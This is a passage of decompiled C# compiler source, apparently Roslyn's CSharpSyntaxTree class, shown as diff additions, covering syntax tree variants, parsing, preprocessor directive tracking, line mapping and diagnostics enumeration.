ImmutableDictionary DiagnosticOptions + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Syntax/CSharpSyntaxTree.Dummy.cs", 61); + } + } + + public override string FilePath => string.Empty; + + public override bool HasCompilationUnitRoot => true; + + public DummySyntaxTree() + { + _node = CloneNodeAsRoot(SyntaxFactory.ParseCompilationUnit(string.Empty)); + } + + public override string ToString() + { + return string.Empty; + } + + public override SourceText GetText(CancellationToken cancellationToken) + { + return SourceText.From(string.Empty, ((SyntaxTree)this).Encoding, (SourceHashAlgorithm)1); + } + + public override bool TryGetText(out SourceText text) + { + text = SourceText.From(string.Empty, ((SyntaxTree)this).Encoding, (SourceHashAlgorithm)1); + return true; + } + + public override SyntaxReference GetReference(SyntaxNode node) + { + return (SyntaxReference)(object)new SimpleSyntaxReference(node); + } + + public override CSharpSyntaxNode GetRoot(CancellationToken cancellationToken) + { + return _node; + } + + public override bool TryGetRoot(out CSharpSyntaxNode root) + { + root = _node; + return true; + } + + public override FileLinePositionSpan GetLineSpan(TextSpan span, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(FileLinePositionSpan); + } + + public override SyntaxTree WithRootAndOptions(SyntaxNode root, ParseOptions options) + { + return Create((CSharpSyntaxNode)(object)root, (CSharpParseOptions)(object)options, ((SyntaxTree)this).FilePath, ((SyntaxTree)this).Encoding, (SourceHashAlgorithm)1); + } + + public override SyntaxTree WithFilePath(string path) + { + return Create(_node, Options, path, ((SyntaxTree)this).Encoding, (SourceHashAlgorithm)1); + } + } + + private sealed class LazySyntaxTree : CSharpSyntaxTree + { + private readonly SourceText _text; + + private readonly CSharpParseOptions _options; + + private readonly string _path; + + private readonly ImmutableDictionary _diagnosticOptions; + + private CSharpSyntaxNode? _lazyRoot; + + public override string FilePath => _path; + + public override Encoding? Encoding => _text.Encoding; + + public override int Length => _text.Length; + + public override bool HasCompilationUnitRoot => true; + + public override CSharpParseOptions Options => _options; + + [Obsolete("Obsolete due to performance problems, use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public override ImmutableDictionary DiagnosticOptions => _diagnosticOptions; + + internal LazySyntaxTree(SourceText text, CSharpParseOptions options, string path, ImmutableDictionary? diagnosticOptions) + { + _text = text; + _options = options; + _path = path ?? string.Empty; + _diagnosticOptions = diagnosticOptions ?? SyntaxTree.EmptyDiagnosticOptions; + } + + public override SourceText GetText(CancellationToken cancellationToken) + { + return _text; + } + + public override bool TryGetText([NotNullWhen(true)] out SourceText? text) + { + text = _text; + return true; + } + + public override CSharpSyntaxNode GetRoot(CancellationToken cancellationToken) + { + if (_lazyRoot == null) + { + SyntaxTree val = SyntaxFactory.ParseSyntaxTree(_text, (ParseOptions?)(object)_options, _path, cancellationToken); + CSharpSyntaxNode value = CloneNodeAsRoot((CSharpSyntaxNode)(object)val.GetRoot(cancellationToken)); + Interlocked.CompareExchange(ref _lazyRoot, value, null); + } + return _lazyRoot; + } + + public override bool TryGetRoot([NotNullWhen(true)] out CSharpSyntaxNode? root) + { + root = _lazyRoot; + return root != null; + } + + public override SyntaxReference GetReference(SyntaxNode node) + { + return (SyntaxReference)(object)new SimpleSyntaxReference(node); + } + + public override SyntaxTree WithRootAndOptions(SyntaxNode root, ParseOptions options) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if ((object)_lazyRoot == root && (object)_options == options) + { + return (SyntaxTree)(object)this; + } + return (SyntaxTree)(object)new ParsedSyntaxTree(null, _text.Encoding, _text.ChecksumAlgorithm, _path, (CSharpParseOptions)(object)options, (CSharpSyntaxNode)(object)root, _lazyDirectives, _diagnosticOptions, cloneRoot: true); + } + + public override SyntaxTree WithFilePath(string path) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + if (_path == path) + { + return (SyntaxTree)(object)this; + } + if (TryGetRoot(out CSharpSyntaxNode root)) + { + return (SyntaxTree)(object)new ParsedSyntaxTree(_text, _text.Encoding, _text.ChecksumAlgorithm, path, _options, root, default(DirectiveStack), _diagnosticOptions, cloneRoot: true); + } + return (SyntaxTree)(object)new LazySyntaxTree(_text, _options, path, _diagnosticOptions); + } + + [Obsolete("Obsolete due to performance problems, use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public override SyntaxTree WithDiagnosticOptions(ImmutableDictionary options) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + if (options == null) + { + options = SyntaxTree.EmptyDiagnosticOptions; + } + if (_diagnosticOptions == options) + { + return (SyntaxTree)(object)this; + } + if (TryGetRoot(out CSharpSyntaxNode root)) + { + return (SyntaxTree)(object)new ParsedSyntaxTree(_text, _text.Encoding, _text.ChecksumAlgorithm, _path, _options, root, default(DirectiveStack), options, cloneRoot: true); + } + return (SyntaxTree)(object)new LazySyntaxTree(_text, _options, _path, options); + } + } + + private class ParsedSyntaxTree : CSharpSyntaxTree + { + private readonly CSharpParseOptions _options; + + private readonly string _path; + + private readonly CSharpSyntaxNode _root; + + private readonly bool _hasCompilationUnitRoot; + + private readonly Encoding? _encodingOpt; + + private readonly SourceHashAlgorithm _checksumAlgorithm; + + private readonly ImmutableDictionary _diagnosticOptions; + + private SourceText? _lazyText; + + public override string FilePath => _path; + + public override Encoding? Encoding => _encodingOpt; + + public override int Length + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + TextSpan fullSpan = ((SyntaxNode)_root).FullSpan; + return ((TextSpan)(ref fullSpan)).Length; + } + } + + public override bool HasCompilationUnitRoot => _hasCompilationUnitRoot; + + public override CSharpParseOptions Options => _options; + + [Obsolete("Obsolete due to performance problems, use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public override ImmutableDictionary DiagnosticOptions => _diagnosticOptions; + + internal ParsedSyntaxTree(SourceText? textOpt, Encoding? encodingOpt, SourceHashAlgorithm checksumAlgorithm, string? path, CSharpParseOptions options, CSharpSyntaxNode root, DirectiveStack directives, ImmutableDictionary? diagnosticOptions, bool cloneRoot) + : base(directives) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + _lazyText = textOpt; + _encodingOpt = encodingOpt ?? ((textOpt != null) ? textOpt.Encoding : null); + _checksumAlgorithm = checksumAlgorithm; + _options = options; + _path = path ?? string.Empty; + _root = (cloneRoot ? CloneNodeAsRoot(root) : root); + _hasCompilationUnitRoot = root.Kind() == SyntaxKind.CompilationUnit; + _diagnosticOptions = diagnosticOptions ?? SyntaxTree.EmptyDiagnosticOptions; + } + + public override SourceText GetText(CancellationToken cancellationToken) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if (_lazyText == null) + { + Interlocked.CompareExchange(ref _lazyText, ((SyntaxNode)GetRoot(cancellationToken)).GetText(_encodingOpt, _checksumAlgorithm), null); + } + return _lazyText; + } + + public override bool TryGetText([NotNullWhen(true)] out SourceText? text) + { + text = _lazyText; + return text != null; + } + + public override CSharpSyntaxNode GetRoot(CancellationToken cancellationToken) + { + return _root; + } + + public override bool TryGetRoot(out CSharpSyntaxNode root) + { + root = _root; + return true; + } + + public override SyntaxReference GetReference(SyntaxNode node) + { + return (SyntaxReference)(object)new SimpleSyntaxReference(node); + } + + public override SyntaxTree WithRootAndOptions(SyntaxNode root, ParseOptions options) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if ((object)_root == root && (object)_options == options) + { + return (SyntaxTree)(object)this; + } + return (SyntaxTree)(object)new ParsedSyntaxTree(null, _encodingOpt, _checksumAlgorithm, _path, (CSharpParseOptions)(object)options, (CSharpSyntaxNode)(object)root, ((object)_root == root) ? _lazyDirectives : default(DirectiveStack), _diagnosticOptions, cloneRoot: true); + } + + public override SyntaxTree WithFilePath(string path) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (_path == path) + { + return (SyntaxTree)(object)this; + } + return (SyntaxTree)(object)new ParsedSyntaxTree(_lazyText, _encodingOpt, _checksumAlgorithm, path, _options, _root, _lazyDirectives, _diagnosticOptions, cloneRoot: true); + } + + [Obsolete("Obsolete due to performance problems, use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public override SyntaxTree WithDiagnosticOptions(ImmutableDictionary options) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + if (options == null) + { + options = SyntaxTree.EmptyDiagnosticOptions; + } + if (_diagnosticOptions == options) + { + return (SyntaxTree)(object)this; + } + return (SyntaxTree)(object)new ParsedSyntaxTree(_lazyText, _encodingOpt, _checksumAlgorithm, _path, _options, _root, _lazyDirectives, options, cloneRoot: true); + } + } + + internal static readonly SyntaxTree Dummy = (SyntaxTree)(object)new DummySyntaxTree(); + + private DirectiveStack _lazyDirectives; + + private ImmutableArray _preprocessorStateChangePositions; + + private ImmutableArray _preprocessorStates; + + private CSharpLineDirectiveMap? _lazyLineDirectiveMap; + + private CSharpPragmaWarningStateMap? _lazyPragmaWarningStateMap; + + private StrongBox? _lazyNullableContextStateMap; + + private GeneratedKind _lazyIsGeneratedCode; + + public abstract CSharpParseOptions Options { get; } + + internal bool HasReferenceDirectives + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + if ((int)((ParseOptions)Options).Kind == 1) + { + return GetCompilationUnitRoot().HasReferenceDirectives; + } + return false; + } + } + + internal bool HasReferenceOrLoadDirectives + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + if ((int)((ParseOptions)Options).Kind == 1) + { + Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax compilationUnitRoot = GetCompilationUnitRoot(); + if (!compilationUnitRoot.HasReferenceDirectives) + { + return compilationUnitRoot.HasLoadDirectives; + } + return true; + } + return false; + } + } + + protected override ParseOptions OptionsCore => (ParseOptions)(object)Options; + + public CSharpSyntaxTree() + : this(default(DirectiveStack)) + { + } + + internal CSharpSyntaxTree(DirectiveStack directives) + { + _lazyDirectives = directives; + } + + protected T CloneNodeAsRoot(T node) where T : CSharpSyntaxNode + { + return SyntaxNode.CloneNodeAsRoot(node, (SyntaxTree)(object)this); + } + + public abstract CSharpSyntaxNode GetRoot(CancellationToken cancellationToken = default(CancellationToken)); + + public abstract bool TryGetRoot([NotNullWhen(true)] out CSharpSyntaxNode? root); + + public virtual Task GetRootAsync(CancellationToken cancellationToken = default(CancellationToken)) + { + CSharpSyntaxNode root; + return Task.FromResult(TryGetRoot(out root) ? root : GetRoot(cancellationToken)); + } + + public Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax GetCompilationUnitRoot(CancellationToken cancellationToken = default(CancellationToken)) + { + return (Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax)GetRoot(cancellationToken); + } + + public override bool IsEquivalentTo(SyntaxTree tree, bool topLevel = false) + { + return SyntaxFactory.AreEquivalent((SyntaxTree?)(object)this, tree, topLevel); + } + + internal DirectiveStack GetDirectives() + { + if (_lazyDirectives.IsNull) + { + DirectiveStack.InterlockedInitialize(ref _lazyDirectives, GetRoot().CsGreen.ApplyDirectives(DirectiveStack.Empty)); + } + return _lazyDirectives; + } + + internal bool IsAnyPreprocessorSymbolDefined(ImmutableArray conditionalSymbols) + { + DirectiveStack directives = GetDirectives(); + ImmutableArray.Enumerator enumerator = conditionalSymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + if (IsPreprocessorSymbolDefined(directives, current)) + { + return true; + } + } + return false; + } + + private bool IsPreprocessorSymbolDefined(DirectiveStack directives, string symbolName) + { + return directives.IsDefined(symbolName) switch + { + DefineState.Defined => true, + DefineState.Undefined => false, + _ => Options.PreprocessorSymbols.Contains(symbolName), + }; + } + + internal bool IsPreprocessorSymbolDefined(string symbolName, int position) + { + if (_preprocessorStateChangePositions.IsDefault) + { + BuildPreprocessorStateChangeMap(); + } + int num = _preprocessorStateChangePositions.BinarySearch(position); + DirectiveStack directives; + if (num < 0) + { + num = ~num - 1; + directives = ((num < 0) ? DirectiveStack.Empty : _preprocessorStates[num]); + } + else + { + directives = _preprocessorStates[num]; + } + return IsPreprocessorSymbolDefined(directives, symbolName); + } + + private void BuildPreprocessorStateChangeMap() + { + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + //IL_013f: Unknown result type (might be due to invalid IL or missing references) + //IL_0144: Unknown result type (might be due to invalid IL or missing references) + DirectiveStack directiveStack = DirectiveStack.Empty; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + foreach (Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax directive in GetRoot().GetDirectives(delegate(Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax d) + { + SyntaxKind syntaxKind = d.Kind(); + return (syntaxKind - 8548 <= (SyntaxKind)3 || syntaxKind - 8554 <= SyntaxKind.List) ? true : false; + })) + { + directiveStack = ((SyntaxNode)(object)directive).ApplyDirectives(directiveStack); + SyntaxToken val; + switch (directive.Kind()) + { + case SyntaxKind.ElifDirectiveTrivia: + instance2.Add(directiveStack); + val = ((Microsoft.CodeAnalysis.CSharp.Syntax.ElifDirectiveTriviaSyntax)directive).ElifKeyword; + instance.Add(((SyntaxToken)(ref val)).SpanStart); + break; + case SyntaxKind.ElseDirectiveTrivia: + instance2.Add(directiveStack); + val = ((Microsoft.CodeAnalysis.CSharp.Syntax.ElseDirectiveTriviaSyntax)directive).ElseKeyword; + instance.Add(((SyntaxToken)(ref val)).SpanStart); + break; + case SyntaxKind.EndIfDirectiveTrivia: + instance2.Add(directiveStack); + val = ((Microsoft.CodeAnalysis.CSharp.Syntax.EndIfDirectiveTriviaSyntax)directive).EndIfKeyword; + instance.Add(((SyntaxToken)(ref val)).SpanStart); + break; + case SyntaxKind.DefineDirectiveTrivia: + instance2.Add(directiveStack); + val = ((Microsoft.CodeAnalysis.CSharp.Syntax.DefineDirectiveTriviaSyntax)directive).Name; + instance.Add(((SyntaxToken)(ref val)).SpanStart); + break; + case SyntaxKind.UndefDirectiveTrivia: + instance2.Add(directiveStack); + val = ((Microsoft.CodeAnalysis.CSharp.Syntax.UndefDirectiveTriviaSyntax)directive).Name; + instance.Add(((SyntaxToken)(ref val)).SpanStart); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)directive.Kind()); + case SyntaxKind.IfDirectiveTrivia: + break; + } + } + ImmutableInterlocked.InterlockedInitialize(ref _preprocessorStates, instance2.ToImmutableAndFree()); + ImmutableInterlocked.InterlockedInitialize(ref _preprocessorStateChangePositions, instance.ToImmutableAndFree()); + } + + public static SyntaxTree Create(CSharpSyntaxNode root, CSharpParseOptions? options = null, string? path = "", Encoding? encoding = null) + { + return Create(root, options, path, encoding, (ImmutableDictionary?)null); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("The diagnosticOptions and isGeneratedCode parameters are obsolete due to performance problems, if you are using them use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public static SyntaxTree Create(CSharpSyntaxNode root, CSharpParseOptions? options, string? path, Encoding? encoding, ImmutableDictionary? diagnosticOptions, bool? isGeneratedCode) + { + if (root == null) + { + throw new ArgumentNullException("root"); + } + return (SyntaxTree)(object)new ParsedSyntaxTree(null, encoding, (SourceHashAlgorithm)1, path, options ?? CSharpParseOptions.Default, root, default(DirectiveStack), diagnosticOptions, cloneRoot: true); + } + + internal static SyntaxTree Create(CSharpSyntaxNode root, CSharpParseOptions options, string? path, Encoding? encoding, SourceHashAlgorithm checksumAlgorithm) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxTree)(object)new ParsedSyntaxTree(null, encoding, checksumAlgorithm, path, options, root, default(DirectiveStack), null, cloneRoot: true); + } + + internal static SyntaxTree CreateForDebugger(CSharpSyntaxNode root, SourceText text, CSharpParseOptions options) + { + return (SyntaxTree)(object)new DebuggerSyntaxTree(root, text, options); + } + + internal static SyntaxTree CreateWithoutClone(CSharpSyntaxNode root) + { + return (SyntaxTree)(object)new ParsedSyntaxTree(null, null, (SourceHashAlgorithm)1, "", CSharpParseOptions.Default, root, default(DirectiveStack), null, cloneRoot: false); + } + + internal static SyntaxTree ParseTextLazy(SourceText text, CSharpParseOptions? options = null, string path = "") + { + return (SyntaxTree)(object)new LazySyntaxTree(text, options ?? CSharpParseOptions.Default, path, null); + } + + public static SyntaxTree ParseText(string text, CSharpParseOptions? options = null, string path = "", Encoding? encoding = null, CancellationToken cancellationToken = default(CancellationToken)) + { + return ParseText(text, options, path, encoding, null, cancellationToken); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("The diagnosticOptions and isGeneratedCode parameters are obsolete due to performance problems, if you are using them use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public static SyntaxTree ParseText(string text, CSharpParseOptions? options, string path, Encoding? encoding, ImmutableDictionary? diagnosticOptions, bool? isGeneratedCode, CancellationToken cancellationToken) + { + return ParseText(SourceText.From(text, encoding, (SourceHashAlgorithm)1), options, path, diagnosticOptions, isGeneratedCode, cancellationToken); + } + + public static SyntaxTree ParseText(SourceText text, CSharpParseOptions? options = null, string path = "", CancellationToken cancellationToken = default(CancellationToken)) + { + return ParseText(text, options, path, null, cancellationToken); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("The diagnosticOptions and isGeneratedCode parameters are obsolete due to performance problems, if you are using them use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public static SyntaxTree ParseText(SourceText text, CSharpParseOptions? options, string path, ImmutableDictionary? diagnosticOptions, bool? isGeneratedCode, CancellationToken cancellationToken) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + if (text == null) + { + throw new ArgumentNullException("text"); + } + options = options ?? CSharpParseOptions.Default; + using Lexer lexer = new Lexer(text, options); + using LanguageParser languageParser = new LanguageParser(lexer, null, null, LexerMode.Syntax, cancellationToken); + Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax root = (Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax)(object)((GreenNode)languageParser.ParseCompilationUnit()).CreateRed(); + return (SyntaxTree)(object)new ParsedSyntaxTree(text, text.Encoding, text.ChecksumAlgorithm, path, options, root, languageParser.Directives, diagnosticOptions, cloneRoot: true); + } + + public override SyntaxTree WithChangedText(SourceText newText) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + SourceText val = default(SourceText); + if (((SyntaxTree)this).TryGetText(ref val)) + { + IReadOnlyList changeRanges = newText.GetChangeRanges(val); + if (changeRanges.Count == 0 && newText == val) + { + return (SyntaxTree)(object)this; + } + return WithChanges(newText, changeRanges); + } + return WithChanges(newText, (IReadOnlyList)(object)new TextChangeRange[1] + { + new TextChangeRange(new TextSpan(0, ((SyntaxTree)this).Length), newText.Length) + }); + } + + private SyntaxTree WithChanges(SourceText newText, IReadOnlyList changes) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + if (changes == null) + { + throw new ArgumentNullException("changes"); + } + IReadOnlyList readOnlyList = changes; + CSharpSyntaxTree cSharpSyntaxTree = this; + if (readOnlyList.Count == 1) + { + TextChangeRange val = readOnlyList[0]; + if (((TextChangeRange)(ref val)).Span == new TextSpan(0, ((SyntaxTree)this).Length)) + { + val = readOnlyList[0]; + if (((TextChangeRange)(ref val)).NewLength == newText.Length) + { + readOnlyList = null; + cSharpSyntaxTree = null; + } + } + } + using Lexer lexer = new Lexer(newText, Options); + using LanguageParser languageParser = new LanguageParser(lexer, cSharpSyntaxTree?.GetRoot(), readOnlyList); + Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax root = (Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax)(object)((GreenNode)languageParser.ParseCompilationUnit()).CreateRed(); + return (SyntaxTree)(object)new ParsedSyntaxTree(newText, newText.Encoding, newText.ChecksumAlgorithm, ((SyntaxTree)this).FilePath, Options, root, languageParser.Directives, ((SyntaxTree)this).DiagnosticOptions, cloneRoot: true); + } + + public override IList GetChangedSpans(SyntaxTree oldTree) + { + if (oldTree == null) + { + throw new ArgumentNullException("oldTree"); + } + return SyntaxDiffer.GetPossiblyDifferentTextSpans(oldTree, (SyntaxTree)(object)this); + } + + public override IList GetChanges(SyntaxTree oldTree) + { + if (oldTree == null) + { + throw new ArgumentNullException("oldTree"); + } + return SyntaxDiffer.GetTextChanges(oldTree, (SyntaxTree)(object)this); + } + + private CSharpLineDirectiveMap GetDirectiveMap() + { + if (_lazyLineDirectiveMap == null) + { + Interlocked.CompareExchange(ref _lazyLineDirectiveMap, new CSharpLineDirectiveMap((SyntaxTree)(object)this), null); + } + return _lazyLineDirectiveMap; + } + + public override FileLinePositionSpan GetLineSpan(TextSpan span, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return new FileLinePositionSpan(((SyntaxTree)this).FilePath, GetLinePosition(((TextSpan)(ref span)).Start, cancellationToken), GetLinePosition(((TextSpan)(ref span)).End, cancellationToken)); + } + + public override FileLinePositionSpan GetMappedLineSpan(TextSpan span, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return ((LineDirectiveMap)(object)GetDirectiveMap()).TranslateSpan(((SyntaxTree)this).GetText(cancellationToken), ((SyntaxTree)this).FilePath, span); + } + + public override LineVisibility GetLineVisibility(int position, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return ((LineDirectiveMap)(object)GetDirectiveMap()).GetLineVisibility(((SyntaxTree)this).GetText(cancellationToken), position); + } + + public override IEnumerable GetLineMappings(CancellationToken cancellationToken = default(CancellationToken)) + { + CSharpLineDirectiveMap directiveMap = GetDirectiveMap(); + if (((LineDirectiveMap)(object)directiveMap).Entries.Length != 1) + { + return ((LineDirectiveMap)(object)directiveMap).GetLineMappings(((SyntaxTree)this).GetText(cancellationToken).Lines); + } + return Array.Empty(); + } + + internal override FileLinePositionSpan GetMappedLineSpanAndVisibility(TextSpan span, out bool isHiddenPosition) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + return ((LineDirectiveMap)(object)GetDirectiveMap()).TranslateSpanAndVisibility(((SyntaxTree)this).GetText(default(CancellationToken)), ((SyntaxTree)this).FilePath, span, ref isHiddenPosition); + } + + public override bool HasHiddenRegions() + { + return ((LineDirectiveMap)(object)GetDirectiveMap()).HasAnyHiddenRegions(); + } + + internal PragmaWarningState GetPragmaDirectiveWarningState(string id, int position) + { + if (_lazyPragmaWarningStateMap == null) + { + Interlocked.CompareExchange(ref _lazyPragmaWarningStateMap, new CSharpPragmaWarningStateMap((SyntaxTree)(object)this), null); + } + return ((AbstractWarningStateMap)_lazyPragmaWarningStateMap).GetWarningState(id, position); + } + + private NullableContextStateMap GetNullableContextStateMap() + { + if (_lazyNullableContextStateMap == null) + { + Interlocked.CompareExchange(ref _lazyNullableContextStateMap, new StrongBox(NullableContextStateMap.Create((SyntaxTree)(object)this)), null); + } + return _lazyNullableContextStateMap.Value; + } + + internal NullableContextState GetNullableContextState(int position) + { + return GetNullableContextStateMap().GetContextState(position); + } + + internal bool? IsNullableAnalysisEnabled(TextSpan span) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return GetNullableContextStateMap().IsNullableAnalysisEnabled(span); + } + + internal bool IsGeneratedCode(SyntaxTreeOptionsProvider? provider, CancellationToken cancellationToken) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Invalid comparison between Unknown and I4 + GeneratedKind? val = ((provider != null) ? new GeneratedKind?(provider.IsGenerated((SyntaxTree)(object)this, cancellationToken)) : ((GeneratedKind?)null)); + if (val.HasValue) + { + GeneratedKind valueOrDefault = val.GetValueOrDefault(); + if ((int)valueOrDefault != 0) + { + return (int)valueOrDefault != 1; + } + } + return isGeneratedHeuristic(); + bool isGeneratedHeuristic() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + if ((int)_lazyIsGeneratedCode == 0) + { + bool flag = GeneratedCodeUtilities.IsGeneratedCode((SyntaxTree)(object)this, (Func)((SyntaxTrivia trivia) => trivia.Kind() == SyntaxKind.SingleLineCommentTrivia || trivia.Kind() == SyntaxKind.MultiLineCommentTrivia), default(CancellationToken)); + _lazyIsGeneratedCode = (GeneratedKind)((!flag) ? 1 : 2); + } + return (int)_lazyIsGeneratedCode == 2; + } + } + + private LinePosition GetLinePosition(int position, CancellationToken cancellationToken) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return ((SyntaxTree)this).GetText(cancellationToken).Lines.GetLinePosition(position); + } + + public override Location GetLocation(TextSpan span) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Expected O, but got Unknown + return (Location)new SourceLocation((SyntaxTree)(object)this, span); + } + + public override IEnumerable GetDiagnostics(SyntaxNode node) + { + if (node == null) + { + throw new ArgumentNullException("node"); + } + return GetDiagnostics(node.Green, node.Position); + } + + private IEnumerable GetDiagnostics(GreenNode greenNode, int position) + { + if (greenNode == null) + { + throw new InvalidOperationException(); + } + if (greenNode.ContainsDiagnostics) + { + return EnumerateDiagnostics(greenNode, position); + } + return SpecializedCollections.EmptyEnumerable(); + } + + private IEnumerable EnumerateDiagnostics(GreenNode node, int position) + { + SyntaxTreeDiagnosticEnumerator enumerator = new SyntaxTreeDiagnosticEnumerator((SyntaxTree)(object)this, node, position); + while (enumerator.MoveNext()) + { + yield return enumerator.Current; + } + } + + public override IEnumerable GetDiagnostics(SyntaxToken token) + { + if (((SyntaxToken)(ref token)).Node == null) + { + throw new InvalidOperationException(); + } + return GetDiagnostics(((SyntaxToken)(ref token)).Node, ((SyntaxToken)(ref token)).Position); + } + + public override IEnumerable GetDiagnostics(SyntaxTrivia trivia) + { + if (((SyntaxTrivia)(ref trivia)).UnderlyingNode == null) + { + throw new InvalidOperationException(); + } + return GetDiagnostics(((SyntaxTrivia)(ref trivia)).UnderlyingNode, ((SyntaxTrivia)(ref trivia)).Position); + } + + public override IEnumerable GetDiagnostics(SyntaxNodeOrToken nodeOrToken) + { + if (((SyntaxNodeOrToken)(ref nodeOrToken)).UnderlyingNode == null) + { + throw new InvalidOperationException(); + } + return GetDiagnostics(((SyntaxNodeOrToken)(ref nodeOrToken)).UnderlyingNode, ((SyntaxNodeOrToken)(ref nodeOrToken)).Position); + } + + public override IEnumerable GetDiagnostics(CancellationToken cancellationToken = default(CancellationToken)) + { + return ((SyntaxTree)this).GetDiagnostics((SyntaxNode)(object)GetRoot(cancellationToken)); + } + + protected override SyntaxNode GetRootCore(CancellationToken cancellationToken) + { + return (SyntaxNode)(object)GetRoot(cancellationToken); + } + + protected override async Task GetRootAsyncCore(CancellationToken cancellationToken) + { + return (SyntaxNode)(object)(await GetRootAsync(cancellationToken).ConfigureAwait(continueOnCapturedContext: false)); + } + + protected override bool TryGetRootCore([NotNullWhen(true)] out SyntaxNode? root) + { + if (TryGetRoot(out CSharpSyntaxNode root2)) + { + root = (SyntaxNode?)(object)root2; + return true; + } + root = null; + return false; + } + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("The diagnosticOptions parameter is obsolete due to performance problems, if you are passing non-null use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public static SyntaxTree ParseText(SourceText text, CSharpParseOptions? options, string path, ImmutableDictionary? diagnosticOptions, CancellationToken cancellationToken) + { + return ParseText(text, options, path, diagnosticOptions, null, cancellationToken); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("The diagnosticOptions parameter is obsolete due to performance problems, if you are passing non-null use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public static SyntaxTree ParseText(string text, CSharpParseOptions? options, string path, Encoding? encoding, ImmutableDictionary? diagnosticOptions, CancellationToken cancellationToken) + { + return ParseText(SourceText.From(text, encoding, (SourceHashAlgorithm)1), options, path, diagnosticOptions, null, cancellationToken); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("The 